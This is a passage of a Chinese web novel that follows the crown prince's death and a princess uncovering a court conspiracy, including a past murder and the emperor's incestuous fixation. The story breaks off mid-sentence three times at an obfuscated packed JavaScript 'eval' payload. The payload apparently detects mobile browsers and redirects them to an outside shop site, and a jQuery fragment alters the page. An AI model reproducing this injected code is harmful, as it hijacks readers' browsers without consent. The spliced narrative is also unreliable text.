她是花也是花园,她是呼风唤雨的人也是风雨。 逃亡路上剑剜腐肉时太子没有流过半滴泪,目睹薛正衢惨死时他也没有半滴泪,独独现在,说起他在化隆生死未卜的妹妹,他眼眶湿润。 “我这辈子对不起很多人,对不起斫儿和磐磐,没有保护好他们……” “殿下,公主和燕王并没有这么想。” 沈碣摇头:“是我没护住他们,最后还要磐磐牺牲自己的幸福来保全我的储位……我当然更对不起大姐姐,她比我强太多了,每一处都比我出挑,可偏偏是个女孩。后来我出生,宫里对她也有很多疏忽,在很多事上,他们都说我是男孩、是太子、是储君、是未来的新帝、是要继承大统的,所以我更要紧些,她如果和我起了什么争执,他们一定会逼她退让……” 沈碣捂住半张被火烤得又紧又烫的脸,“她从小就很有天赋,在各个方面都是翘楚,她更是天生的理政能手,所有的见解都要比我深远,她比我更适合当一个优秀的储君。” 他的手指间全是泪。 “她甚至不能表露任何不满,连怀才不遇的牢骚都不被允许。尤其是她刚和郇渰订婚时,不能说半句怨,一边要去接受自己被利用得不再拥有半分自由的未来,一边对着这个谢、那个谢、感谢皇恩浩荡赐她一段良缘、感谢帝后宠爱让她成为最风光的女儿。” 他低头看着自己满手的眼泪,“她追逐一辈子难得的东西,我唾手可得,可我却拿不住,还将一切搅得天翻地覆……” “殿下,你做得很好,这些事情责任并不在你,你没有做错什么。” 沈碣笑得单薄:“谢谢你张永一,但这些事究竟该是什么模样,我最清楚了……到了现在,她还要被我牵连,也不知道带着璩儿、玥儿,她要受多少为难。” 他长长叹息:“我更对不起元映,对不起薛家。” “飞来横祸谁能预料?殿下,这些不是你的错。” 沈碣摇头,“你不知道啊,元映其实不用下东宫的混水,她和萧可微青梅竹马又两情相悦,却因为那年宫里给我物色太子妃,拉了好长的一条名单里,我只认识她……我为什么要说我认识她?就不该有人来东宫遭这些罪,被困在这里,殚精竭虑……” “我为什么会认识她?因为沈砯带着磐磐她们出启复门游玩,磐磐回来和我说,她遇见了一个女将军,就是元映,英姿飒爽,将身边的男孩子都衬托得唯唯诺诺……沈砯啊,我也对不起他,他走的那年春天大姐姐才嫁人,夏天霍夫人病逝,然后他就秋天生了场大病。” 他目露颓丧,“他从小身体不好,但他特别聪明,父皇母后都特别喜欢他,不,是最喜欢他,磐磐也最喜欢他,天天跟在他的身后叫‘三哥’,如果她有心事一定要和谁说,也只有沈砯了。” “那天我不该任由他进出我的书房,怪我,从来都不好好收拾东西,从丽正殿书架下的暗格里发现了不少升平年间的旧物,我该好好收拾的,在收拾好东西前不允许任何人进去……我还说了他散漫、没规矩,若我没说他,他应当就不会负气跑出宫,后来他就不会落水生病……” “我对不起元映,我也对不起萧可微,对不起薛尚书……我也对不起璩儿、玥儿,对不起沈砯,对不起柳先生的期望、宁先生的教导、冉大人的付出,对不起百姓,也对不起你张永一。” 张永一道:“殿下没有对不起我,生死由己,这一切 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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此时已经看不见月色,风在耳边鬼叫狼嚎,他只能摸黑凭着记忆往回走。 他想,真是个凶宅,此刻合该跳出一只鬼才符合眼下情景。 但没有鬼。 张永一小心地推开门。 屋里的火还很旺,特别暖和。 他随意一扫没看见太子,但他忙着关门,便抱着茅草笑道:“殿下,别躺着,这榻上又冷又湿……” 身后没有回应,只有火花哔哔啵啵在响。 张永一转身。 然后他愣住了。 沈碣侧卧在灰扑扑的地上,沾了尘土的脸上滑下两行热泪,泪里掺着血。 地上除秽剑沾了储君之血,却还是亮闪闪跃然一切的灰暗之中。 ** 这是永济三十年的最后一天,张永一只是等到柴火自然而然地熄灭,崭新的一年就降临在凶宅外。 雪霁放晴,是个难得的好天。街坊邻里都走出了柴门,各自诉着这座凶宅的磨难。然后他们就看见泥巴小路上奔来一队人马,他们鸡飞狗跳地躲回了家,却还扒着门窗看着这些远道而来的贵人或贱人的动向。 齐天觉带来了承经五柞宫和化隆皇城交递的最新旨意,兵马司破开宅门、沿着宅内烟气脚印一路找到这间破屋。 他在屋外隔着门喊:“太子殿下!陛下赦免了您的罪责!” 可是屋内静静,齐天觉又喊了一声:“太子殿下!一切的误会都解开了!您快出来接旨!” 屋内依旧没有回应。 齐天觉心觉不详,“破门!” 但门轻轻一推,就“咯吱”一声开了。 然后所有人都看见了背对着他们跪坐在地上的张永一,他身边是一滩干涸的血。 “张佥事!” 齐天觉冲了进去,一眼看见张永一怀里抱着的,是太子的尸体。 齐天觉倒吸一口凉气,就见张永一低着头一动不动,他大着胆子伸手往他鼻下一探,很微弱但还有气,可他的脸已经冷成了冰。 “快来人!快点找大夫!” 太子沈碣死在了去年。 47. 第四十七章 难诉情(一) 沈磐带璩儿、玥儿回东宫的那天,皇帝抵京。 再有一个多时辰,太子的灵柩也将送回。 她本该跟着文武百官去光武门跪迎圣驾,抑或者在靖远门等候二哥的尸首,但她哪里也没去,只一个人在东宫丽正殿里翻箱倒柜。 内阁曾派过人来请她,请她去仍旧风声鹤唳的皇帝陛下面前凄言苦衷。 沈磐从不曾想,这些老头居然真都是实心眼的厚道人,为着自己在文正殿里发表的一系列“大逆不道”的言论着急上火。冉琢明不说、方继昌不说、陶识礼不说,就算文正殿里所有人都不说,事情也总会以别的方式从别的什么人那里走漏风声。 她谢过他们的好意,但她根本不在乎自己会否背上“逆子”的罪名。 行走于世,时至今日,她已经是了,彻头彻尾想要弑父杀君的逆子。 但她还不能够公然竖起这样的旗帜,因为她还有沈仪璩兄妹作为软肋。 所以她赶到东宫,哪怕那天从辅国长公主府脱困身体就开始一日不如一日地垮下去,哪怕是丧亲巨撼磋磨她梦魇缠身,哪怕她已经几日都没法下地走路了,她也要赶在永济帝派人前,将东宫收拾干净。 因为你永远也不知道别人会找到什么。 沈磐蹲在地上,对着那满匣子寄情携思的家书发怔。 低着头时,眼泪就流得很快。 阿姐,今日父亲送我回了老家,当年阿姐栽下的合欢树已经有层楼高,我和薇儿表姐捡了不少落花……问太子妃安。 阿姐,今天是父亲生日,你的礼物家里收到了,父亲很高兴,我好久没见他这么高兴了,一高兴就喝上脸,一上脸就大笑不止……问太子妃安。 阿姐,我的功课也是宁先生夸的了,今年生辰,你可要好好奖励我,就要一支牡丹花钗吧,珍宝阁的那支,我眼馋很久了。唉,其实阿姐早早准备好了,偏偏要吊着我的胃口不轻易送我,太坏了……问太子妃安。 书房里紫檀木案上已经剩不了几张纸,地上的火盆里全是烧成炭黑的书信公文,只有薛正衢和薛元映的家书保留完好。 沈磐已经纠结不了究竟是太子还是冉琢明先一步烧尽了“谋逆实证”,只对着薛正衢每封家书后的五个字出神。 问太子妃安。 沈磐一时间五感顿闭,天旋地转脑海中只有这五个字,根本听不见团圆在外说,临川郡主也回了化隆,接走了沈仪璩兄妹,还给她编了个身体抱恙的借口。 过了许久,沈磐的三魂六魄才归了躯壳,可回神的这刻,她忽觉脸上刀割般刺痛,就像是迎着北风痛哭流涕,既喘不过气又觉得脸上被懦弱痛恨绝望愤怒狂扇了千百个巴掌。 疼啊,越疼却越奇怪地觉得,那天滴在自己脸上的血,是热油般滚烫。 沈磐深吸一口气,将薛元映的旧物收拾起,一股脑塞回了匣子里。可太多了,这是妹妹薛元霭夏天写的信,那是秋天的问候,这又是年节时的家书了,今年,去年,前年,大前年……到处都是啊,每封都是问太子妃安,满地都是一字字写不完的思念。 沈磐再也止不住蓄满眼眶的泪水,任这一片被深墙院落、猜忌顾虑锁起来的相思模糊在眼前。 她胡乱地堆起,是个箱子就打开去塞。 她见不得一点。 一点也不行。 沈磐跪在那铜镶边的花雕木箱旁哭。 已经空了的东宫丽正殿里,已经空了的萧索牢笼中,全是她喉咙中的呜咽。 这样的巽懦不知潇洒了多久才被关回死囚,沈磐扶着箱子起身,却踩着自己的裙摆摔了下来。一抬头,就是箱子后更隐蔽处的一块凹陷,伸手轻轻一按,便从书架里弹出一只抽屉。 抽屉里是字画文章,不是太子的遗物,也已经不是永济当朝的物件,她仰头想破了天也想不出,这幽幽大内,能将东西藏在这里的这些人里,有哪个叫作“循心”。 想不出,沈磐就不再想,却抬眼想见这些泛黄的纸张里承载的某个人、某些人的十几年。那个人从幼年起一直到成家立室,恍如就站在她的眼前,他们甚至能从留下的只言片语的牢骚中神思相接。 他说,看见鹇儿那么喜欢他,他很高兴。毕竟才华横溢如他,谁能不爱这样的天才呢?谁能不慕他的恣意潇洒呢?谁不愿抛弃尘俗的拘束而义无反顾地追随他呢? 至此,沈磐好像知道这是谁了,但是谁又和她有什么关系? 她收着旧物,珍重却随意地收着旧物,心想着多么鲜活的一个人哪,这么鲜亮明媚的前半生,只能在这丽正殿书架下的暗格里永不见天。三五十年前的旧缘,永远入落不上正史的讳饰,戛然而止的青春年少和壮志满怀,至此在她手下成为废纸一摞、颇占地方。 沈磐神色黯然,心道罪过,刚要将自己误闯的痕迹抹去,就见那压箱底的一卷画,如同魅魔的召唤,硬是蛊惑着她将这次对故人旧物的冒犯进行到底。 画上站着霍夫人,最年轻漂亮天真无邪的少女霍轻站在菁明书院的绿荫颓墙前,不知听见了什么人的什么趣事,正笑着回头看了过来。 作画者上书,升平十六年菁明书院循心如故。 沈磐微愣。 那这个人怎么可能是陈王的生母霍夫人呢?她怎么会出现在升平朝昭文太子收藏的画作中呢? 但看见了这些,沈磐还有什么不明白的呢?她将画卷完全展开,看得更近更清楚了,心里的明白便比雪后天晴还要光亮。 卷里夹着一片枯叶,还携了几缕多年前的清冷。 ** 沈磐冒访宁安侯府时,闻得妆雪高墙后一阵冷寂的琴音,如同这朔风无孔不入于蔽体冬衣、无孔不入于血肉凡心。 她仰头听了,是升平年间名扬一时的琴家朱遗思的《东风采莲曲》,谱于胜日东风亭下,观诸佳人拨水采莲,调子一起,便是炎夏滚滚的生意。最是琴声激昂之时,更听得弹琴者心中情丝盘绕,梦中天台翻倒而欢愉云流人间。 这样的曲子,怎会叫她听出“冷寂”二字呢? 侯府家仆扣门,屋内弦断音灭,沈磐移眼,就遥遥见得从琴上缓缓抬头的宁晨铎发冠凌乱又双目无神,似备受风霜雨雪的摧残。 “宁先生。” 宁晨铎略缓了缓,这才扶着矮塌起身,“公主殿下怎么来了?” 沈磐上前道:“我想请先生帮个忙。” “公主但说无妨,臣必当……” 沈磐展开画卷,“先生请看。” 她细细琢磨宁晨铎的神色。饶是宁晨铎经风历雨几十年,遮掩隐藏的本事不输官场斗士,初见这画中人的眉眼,他居然忘记了沉稳和从容,任由心底的电闪雷鸣轰隆隆劈在眼前。他有些失态地伸出手,想要穿过纸张去触摸那画中人在时流淘洗下早已淡如白水的笑靥,可指尖的茧差点摸上画面,他便如同黄梁一枕顿时清醒。 然后他就能看见沈磐清明而冷冽的双眼。 “先生,她是辅国长公主沈明枳吧。” 时隔多年再度听闻这个名字,宁晨铎有些陌生地重又看向那张熟悉得逐渐陌生的脸。 他很久没有这么清晰地端详沈明枳,以至于这样的体验让他觉得如在云端,好不真实。他本来已经忘记他的左伯桃是何等模样,这便能一生一世地将这场错过的“羊左之交”坚持到底。可现在不成了,这幅画鞭挞着他的死心,让他霎时记起那无数个日日夜夜,这张脸、这个人带来的渴望是如何里里外外彻头彻尾地将他驯服成一条丧家败犬。 哪怕这样的心病已经医治了天人永隔的三十年渐好。 “是啊,升平十六年……她才十三岁——如故……的确是梅如故的真迹,公主,你从何而来这一卷画像?” 沈磐垂眸,“东宫。” 宁晨铎咽着苦,道:“今日太子殿下的灵柩回宫——” “先生,那你还认识这个吗?” 宁晨铎看去,一片枯叶正躺在沈磐的掌心。 似有深埋的记忆破土而出,宁晨铎犹疑道:“子规草?” 沈磐细看去。 “子规草可医治风寒……”宁晨铎捧着不知何时已经落入他手的画卷,一边忍着心碎一边静静回忆道,“我记得当年宁王殿下身上就带着一包,所以臣记得清楚,应当不会有错。” “我三哥?”沈磐眉头一蹙,心里顿起不详,“他何时带的?” 一念及发生在宁王沈砯身上的“天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17078441|192089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妒英才”四字,宁晨铎就忍不得惋惜,“就是那年不知为何,宁王殿下急找臣找到了曲江去。臣与旧友泛舟池上,等下了船,便听闻宁王殿下失足落水……” 沈磐心钝痛。 “宁王殿下被救起时,身上就有一包子规草,淹了水,但宁王殿下醒来后还问人要……” “他……他是……” 宁晨铎见,沈磐的脸颊顿时苍白,“公主要问什么?” “他是在林丛小溪落水的吗?” 宁晨铎想了想:“那是曲江,具体在一处比较隐蔽的地方,这才没有多少人看见宁王落水……” 他想得极其艰难。 沈磐紧紧盯着他脸上几番变化的神色,不愿错过一点。 林丛小溪不过是她灵光一现的猜测,乱说而已,可宁晨铎的话越让她被自己的猜测咬住了咽喉。 “哦,想起来了,那处低洼的溪水边有过人命案,是升平年间的一桩大案。” 沈磐稳住声线:“是不是有一位官家小姐被挖去了双眼?” 提起这些细节,宁晨铎神色更加复杂,“对,就是那儿,所以宁王殿下落了水,就有传言说是那女子的亡魂作祟。” 沈磐将他说过的话从头到尾仔细过了一遍,便再起话头:“这是升平年间的大案,据说凶手现在还没有落网,宁先生还记得多少细节吗?” 宁晨铎移开视线,不禁叹息:“年深日久,很多事……我早已记不得了,何况当年我也不过是道听途说,很多事真真假假,臣也说不清楚。” 沈磐点头,她虽然觉得宁晨铎像是在刻意隐瞒些什么,他一边说这是大案,一边又借着记不得的借口一个字也不多提,这番行径倒真如他话中的“真真假假”和“道听途说”一样,“说不清楚”。 沈磐没法勉强,只能作罢,刚打算开口要回画卷,目光一扫,就见矮脚琴台上摆着的那把琴十分特别。她看着那琴身中间似是填补出来的一道天裂问:“先生,这把琴我看着十分陌生。” 当然陌生,她从来不会去注意这些兴趣之外的物件,宁晨铎收藏的古琴她每一把都十分陌生。但她蹩脚地问了,宁晨铎就要答。 “这是把老琴了,叫‘羊左’,臣很多年没弹过它了。” “羊左?”沈磐还是盯着那裂痕目不转睛,心里又觉得宁晨铎不欲过多地介绍,她便只能随口笑赞一句:“真是把特别的琴。” 宁晨铎低头,将画轴卷起,归还沈磐。 ** 一离开宁安侯府,沈磐就直奔忠义侯府。 从升平年间的那位惨死的官家小姐起,除了窦凯旋的爱女惨遭杀害,就还有个金正彪被她绑在林间活活冻死。具体那里死了多少人,沈磐要问过了才知道。但事关三哥的死,她不敢招摇地去问京兆,只能求助于嵇阑。 不巧的是,今天一早嵇阑就跟着他叔叔嵇阚进了宫,现在还没回来。 其实她早该知道自己突然造访必然铩羽而归。 那天,嵇阑得了自己的传信,带着嵇家人去往辅国长公主府,当场诛杀了霍轶,还救下了自己和沈碧,可谓是拿下了灭贼首功。现在永济帝归来,冒了这么大风险和老东家对着干的嵇阚自然要带着最得意的侄子去宫里向陛下“请罪”。 沈磐忍着身上的不适,逼着自己平静下来去猜,经过这一番山头改换,嵇阚和嵇阑这对叔侄究竟能从时而吝啬、时而又极其大方的永济帝那里捞到什么好处。 反正嵇阑这个驸马位子是肯定稳了。 大抵,有了驸马都卫的尊衔,他期待已久的世子位也将唾手可得。 沈磐长长吐出一口热气。 离开忠义侯府,下一个目的地就定成了襄阳侯府。 那天在辅国长公主府,沈碧说起“君以此兴,必以此亡”的哑谜,一张口就要讲霍夫人。那时是她急得失了理智,这才打断了她,现在细细琢磨沈碧的语气和神色,好像“霍夫人”三个字真的是串起所有真相的一根线。 解密真的是让人着迷的一件事。 离真相越近,沈磐就越能触摸得到自己越发急促的心跳。 一下一下,极其有力。 她几乎承受不了这样的心跳。 48. 第四十八章 难诉情(二) 她在路上就遇见了沈碧的马车。 “你要去哪儿!” 沈碧不由分说就拉她上了马车,“陛下回宫,你二哥的灵柩还在城外,你现在要往哪里去!” 沈磐从未见她露出这样气急严肃的神态。 似是猜到沈磐心中的疑惑,沈碧终于又翻出了过去的平淡语气,冷冷道:“今时不同往日,若你不珍惜自己的性命,便没有人能救得了你。你现在就跟我一起去宁远门。” “既如此,为何不去宫里到他面前摇尾乞怜。” 沈碧并不理睬她话中赤裸裸的讥讽,吩咐马车往宁远门走。 其实沈磐并不想这么说话让气氛再度落地的,只是和沈碧吵架拌嘴,仿佛已经成为了骨子里的习性。 她看着沈碧。 不过几日,她好像就瘦了一圈。 沈磐终究没有再多说什么,只斟酌了词句问道:“侯府怎么样了?” “就那样。” 车厢内安静了会儿,沈碧才重新说道:“郇渊一个人骑马逃到平川庄,现在已经去苏州了,他祖母又病了场,就等他祖父从宫里回来。” “郇昇的尸体找到了吗?” 沈碧微一垂眸,“府里也没什么人,等雪化了才能去找。” 于是,偌大一个襄阳侯府就只剩下她的驸马郇渰没有被沈磐提起。 不提也好。 沈磐稍稍犹豫,最后还是问道:“那天你提到霍夫人,究竟想说什么?” 沈碧自然知道那天是哪天。 郇渰死的那天。 她淡淡道:“你不是不想听吗。” “现在想听。” 她垂下眼睫,不知遮去了眼底怎样的情绪。沈磐刚有些愧疚,愧疚自己还是让她想起了伤心往事,就听她问:“这是什么?” 沈碧拿起她放在座椅上的卷轴。 “一幅画。” 沈碧刚要展开卷轴就听见了沈磐语气中的哀沉,不知想到了什么,便将卷轴原封不动地放下。 沈磐讶异她的举动,更讶异于她接下来的一句话:“画的是辅国长公主吧。” “你怎么知道?” 沈碧抬手,轻嗅自己的指尖,“这味道还没散。” 沈磐一把握住她的手,“子规草?” 沈碧盯着她,“是洛阳子规草。” 沈磐从袖中取出那片枯叶。 “嗯,就是这个。” “有什么区别?究竟发生了什么?你怎么都知道?” 沈碧死水无澜的眼中终于漾起了波纹,“只有你不知道而已。” 沈磐蓦然瞪大眼睛。 “不对,沈斫也不知道。”沈碧摇头,嘴角的幅度既自嘲又冷酷,“知道得太多,不是件好事。” 然后她就看见,沈磐的怨愤、不甘、震撼、厌恶、妒恨、恐惧、兴奋这些沈碧再熟悉不过的情绪在她的眼睛——这盏走马灯上次第呈现。 “你心里的猜测,几乎都是对的。有想不明白的细节,可以问——” 沈磐一把按住她的肩,嗓音喑哑:“我要知道来龙去脉!这些年这些人究竟发生了什么事!” 沈碧默默望着她眼角那滴好像是帘外的反光的眼泪。 “这是个很长的故事……” “三十年前?” 陈述的口吻说着疑问的猜测。 沈碧摇头,“旧因埋下的那天,早在三十年前,但一颗烂果落地,就是三十年前的升平二十九年。” “那天,大理寺寺丞骆栩的女儿骆霞在曲江游玩。” 沈磐窒息。 一切居然就始于林丛小溪的这桩悬案。 “骆姑娘浑身没有其他伤痕,只有双眼被人剜去。” 沈磐几乎难以想象这样的痛苦,分明她才毫无人性地命令长缨卫挖去了霍开武的眼睛。 “为什么。” 霍开武该死,她犹且恨自己那么便宜地叫他死去,可这个名叫骆霞的姑娘究竟是得罪了什么人才招此对待?是,她从不信什么鬼怪作祟的说法,如果世上真有鬼神,老天怎么不开开眼降个雷劈死那些作恶多端又富贵延年的小人! 沈碧冷冷道:“不用问为什么,你只需要知道第一个发现她尸体的人是谁就好。” “是谁?” 沈磐的声音在抖。 她又有了猜测。 沈碧目光深远,“就是我们的父皇,当年的晋王沈明戒。” “咯噔——” 马车一颠,沈磐的视线都模糊起来。 “当年,化隆城里就有传闻,说晋王对从小陪伴他长大的亲姐姐兖国公主,有不伦之念。而这位骆姑娘,之所以被剜去了双眼,就是因为她的这双眼睛,和兖国公主有几分神似——” 沈磐浑身都抖了起来,她死死攥住沈碧的手,“所以……是兖国公主挖了她的眼睛?!” 沈碧蹙眉,“你怎会这么想?” 她扣住沈磐的手,“晋王第一个发现了尸体,兖国公主的挚友临川郡主那天在游湖,便也赶到了现场,如果真是兖国公主杀了她,临川郡主此后多年的反应根本就不符合情理。况且,这些事情都是临川郡主告诉我的。” 沈磐的理性这才慢慢找到回家的路。 她喃喃自语:“不论如何,晋王对兖国公主有不伦之念……是尽人皆知的丑闻,兖国公主当然也就知道了……或许她以前就知道了呢……反正她知道了,还出了人命,这段姐弟情就彻底没了……” 她看向沈碧:“临川郡主为什么要将这样的阴私之事告诉你?你去问她的?你为什么要问她这些事情……” 沈碧掰开沈磐烙铁般的手,神色更加冷淡:“是,是我去问她的,我那时出嫁不久回宫归省,刚好临川郡主也在京城。” “你为什么要问她。” 沈碧隐隐听出了责怪意味。但她不问,这些事就不存在了吗?她觉得沈磐还是孩子心性了,掩耳盗铃从来不是正解,但她一刹那又想到了很多事,顿时觉得,她或许真的不该问,这样她们都会有一个完美幸福的人生,哪怕是用谎言造就的。 现实总让人活得太累。 就像那时的霍夫人,年轻貌美、心地善良,她沈碧就算是个再刻薄的姑娘,也有些真心喜欢这个简直就是梦中神女的女人。 可千钧重的现实一压下来,霍夫人再有能耐也扛不住不是么? “我在襄阳侯府见过她的画像,是郇翾凭着记忆画的,和霍夫人很像。然后我在宫里遇见了临川郡主,我问她,她们究竟像不像,郡主是她的闺中密友,怎么可能不知道她们两个的面容有几分像?但郡主居然从未见过霍夫人……” 沈磐苦笑:“他做贼心虚,怎么会让故人看见霍夫人的长相……” “是啊——”沈碧口中的讽刺意更浓,但浓至极点,沈磐便尝出了一丝悲凉,“我不敢带郡主去西宫偷看霍夫人,只能把天真无知的霍夫人诓到御花园。陛下从不允许霍夫人抛头露面,连御花园都不许她多去,但她还是来了,因为我借口说我刚刚出嫁,不知如何与夫婿相处,她是个蠢的,还是个热心的,以为我没有亲生母亲的教导,在这种事情上有些疏漏很正常,她以前也没少和我说话……” 沈碧第一次当着沈磐的面,揉了揉她脆弱的太阳穴。 “然后,她自然也就知道了,她竟然和陛下的姐姐长得像,还不是一点像,而是非常像!朦朦胧胧之中,不说话的时候,就可以认为是同一人……她天真,不代表不会有心思,且她好爱她的陛下啊,就想看看自己这天上地下独一份的宠爱究竟是因为她这个人,还是因为旁的缘故。” 沈磐已经能想到,真相曝露的那一刻对于霍夫人这样的女子来说,会是怎样晴空霹雳的末日。 沈碧疲惫极了,“她不能出西宫,但别人可以把宫外的消息带给她,但她连西宫都不能出,她知道的那些消息,呵,大多都是经过她的陛下仔细筛查后的‘真相’。她究竟有没有查到,我不知道,怎么查的,我也不知道,唯一确定的是,她的陛下肯定被惊动了——” 闻言,沈磐模模糊糊好像打通了关节。 沈碧:“后来我回宫,一直称病不出的她偷偷给我送信。” 她脸上露出一种古怪的笑,沈磐端详许久,方才得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他们是几十年的旧友,见的第一面就在大摆筵席的襄阳侯府。那时的冉琢明是初出茅庐的新科进士,这冉探花在侯府花园散酒,不慎跌了个大跟头,衣裳都破了,正好被郇翾撞见。然后就有了所谓的“一衣之交”,等多少年后他们各自登顶,这就成了桩美谈。 美谈有了,他们却少了闲谈。 寥寥数日,两个人都苍老不少。现在本是收拾料理和重立山头的重要时机,他们更不该有空闲谈,但两个人就是别有默契,慢吞吞沿着东直门甬道聊了起来。 其实什么也没聊,冉琢明是一句也不能说,郇翾则累得不敢发一言。 眼前又是启明门。 冉琢明道:“节哀。” 郇翾苦笑:“为谁节哀呢?” 他望着启明门上悬在半空的太阳。 “这个年节死了这么多人,要为谁节哀呢?为我大楚吗?” 冉琢明知道他心里既悲愤又绝望,痛苦脱缰之时难免口不择言。 “琢明兄,你知道于我而言世上最黑暗的地方在哪里吗?” 也懒得提防,冉琢明脱口而出:“朝廷。” 郇翾苦笑着摇头。 从少时起,他就有写手记的习惯。那是他畅所欲言的天堂。但有一回他极其私密的手记被妹妹偷看,自此,这处天堂便也落了凡俗。 并不是什么话他都能写进去了。 比如说几十年前,他在上面写:日堕启明,此间至暗。 “就是这启明门。” 冉琢明叹息。 三十年前,他的长兄遇刺命丧于此。所以三十年来,他既不取字也不走启明门。 这处是他的伤痛。 “那你知道这世上,最高的山是什么吗?” 冉琢明心里早将自己的答案过了十万八千遍,但他还是摇头。 郇翾指着北方,长袖猎猎生风,“昆仑山三重。” 天地同寿、日月同光之所在,仙班齐列、鸾凤呈祥之所在。 冉琢明目送他颓丧地走出启明门。 因为有光,所以启明至暗,他不愿再走。但如果他就活在黑暗里呢?启明门和别的什么承天门、东长安门也就再无区别。 郇翾步步艰难。 启明至晦,昆仑易摧,一夕亡二子。 49. 第四十九章 难诉情(三) 昆仑山三重,上可通神仙。 郇翾终于忍不住眼泪。 三十年再哭一次,当着全天下人的面,痛哭一场。 他不敢将心里话写到手记里给全家人埋下祸根,他只能借着自己的哭怮朝这巍巍宫阙大骂。 可郇翾才意识到自己的软弱。 他连骂都不敢。 他多想像那一天凶相毕露的施汜一样,将腰带套上永济帝的脖子上,脚踩着永济帝的肩膀死命地勒。 “去死啊狗皇帝!你去死啊晋王!” 施汜使劲勒得两个人的脸都是涨红的。他骂道:“你该死啊!你才是肮脏的!你们才是最肮脏的!你对你姐姐有不伦之念!你脏啊!你的心脏啊!” 那时,乔晏几乎就要扑上去,可“不伦之念”如同一道惊雷劈下,殿内所有的活人全都愣在原地。 只有施汜在用力喊:“你忘记那双眼睛了吗!你拉着那些宫女行苟且事还叫着你姐姐的名字!你甚至直接叫她们‘阿姐’!阿姐啊!那可是你的亲阿姐!” 第一个反应过来的是霍辄,他扔下了木楞如鸡的陈王,情况紧急得让他都想不起要捡上任何家伙,就这么冲了上去。 永济帝的脸已经发紫。 “你们太脏了!你们怎么能污蔑我的公主!” 施汜被霍辄一脚踹翻在地,乔晏当即回神,跑过去扶起还是喘不上气的永济帝。 但施汜还在说,还在哭着说:“升平二十七年她那么年轻美丽!她是天女!她善良得像个仙女!她把我捡回去给了我一个家!那天是十四,我自名誓死……” 霍辄低头看着捂着心口痛苦不已的施汜,“为了她,我的命都可以献出来!我可以誓死维护她的尊严!” 永济帝双目充血,咳嗽着一把推开乔晏。 “你们怎么能污蔑她和她的外甥通奸!你们怎么能够这么恶毒!分明犯下罪孽的人是你!你们该死啊!你该死啊!幸好她已经死了!” “是啊……”永济帝嘶哑道:“是啊,长英这个贱人已经死了!” 他扑上去掐住施汜的咽喉:“你知道她是怎么死的吗?我来告诉你,她本该被千人轮万人踏,二十四道刑罚一遍遍过!就因为我阿姐仁慈!让她死了个痛快!” 施汜突然就朝他的鼻子咬去,永济帝顿时带着他的唾沫和血泪一起跌坐在地。 “幸好你阿姐已经死了!你给她修陵,封土是昆仑山的模样,‘昆仑山三重’,是想要她升仙成神!可你还要招魂!把她从云端拉下塞到你的□□!你贱啊!你杀了那么多人、犯了这么多错,定要永困修罗道、畜生道!那我就帮你,让她永远不能转世投胎!永远因为你犯下的罪孽而蒙羞!” “啊——去死!” 永济帝不知哪里来的力气,咆哮着想扑上去掐死半死不死的施汜,却被乔晏抱住了腰。 施汜痛快地大笑:“活该啊!活该她宁可死也不愿活着面对你!活该你被抛下一无所有!” “朕是皇帝!朕现在就要杀了你!” “你这个皇帝也是她给的!你却令她生而蒙羞、死不安宁!你贱啊!你脏啊!你不是个人!你还让孙太医帮你杀人!” 永济帝眼睛骤然瞪大,“霍辄!杀了他!” 施汜大喊:“你杀了——” 一声“咯噔”的骨裂脆响,桂宫里顿时安静下来。 施汜软绵绵地倒了下去。 霍辄和永济帝之间再无任何人阻挡。 乔晏看不见永济帝眼里的杀意,却看得见霍辄脸上的凝重。 远处是陈王窒息般的呼吸。 郇翾在风口站定,他像是木头人般迟钝地抬起头,朝长街另一端浩浩走来的队伍望去。 是太子的灵柩。 心沉恨海。 他彻底连说话的力气也没有了,直挺挺朝大路中央摔去。 ** 沈磐没有跟着沈碧下车,她一个人在城里游荡。 她早就知道是这个结局,却还要自欺欺人地想。 一定会平安的。 一切都只是误会。 天上飘起了雪点,傍晚起了风,沈磐支应不住,扶着路边不知哪家的宅墙滑了下去。 手掌被粗粝的墙面磨得生疼。 但再疼也疼不过她的头。 脑袋像是要炸开般地疼。 她三哥宁王沈砯久病成医,偶然风寒就自己去太医院配子规草入药,然后他就在库房里找到了一小袋洛阳子规草。 其实他也不知道这是什么子规草,当时孙太医不在,别的小太医辨不出,于是好学的他就借了两本医书自己去扒拉答案。 然后他就发现了与寻常子规草长得极为相似但功效截然相反的洛阳子规草。 他跑回了太医院,一则为了还书,二则,他在深宫长大的嗅觉敏感地告诉他,这里面恐怕别有玄机。 不巧,那时候他又和孙太医错过了,不过他从旁人那里得知,这一袋洛阳子规草连同其他的一些稀奇草药都是孙太医的私物。他不再声张,却顺手翻了翻宫中的医案,一眼就看见那年夏天,孙太医给霍夫人开的医治风寒的药就有子规草。 小小风寒,怎么会要人性命呢? 他不再多嘴,而是跑回了内城皇宫,借口去看望妹妹沈磐,顺路去偌大的西宫和掖廷寻找霍夫人身边的旧人。 他无处可寻。 怎么办呢?他回到了东宫,想找太子二哥帮忙,更不凑巧的是,太子不在,他在丽正殿里苦等,一等就发现了升平旧物。 接着,看见那副画像就是自然而然的事情。 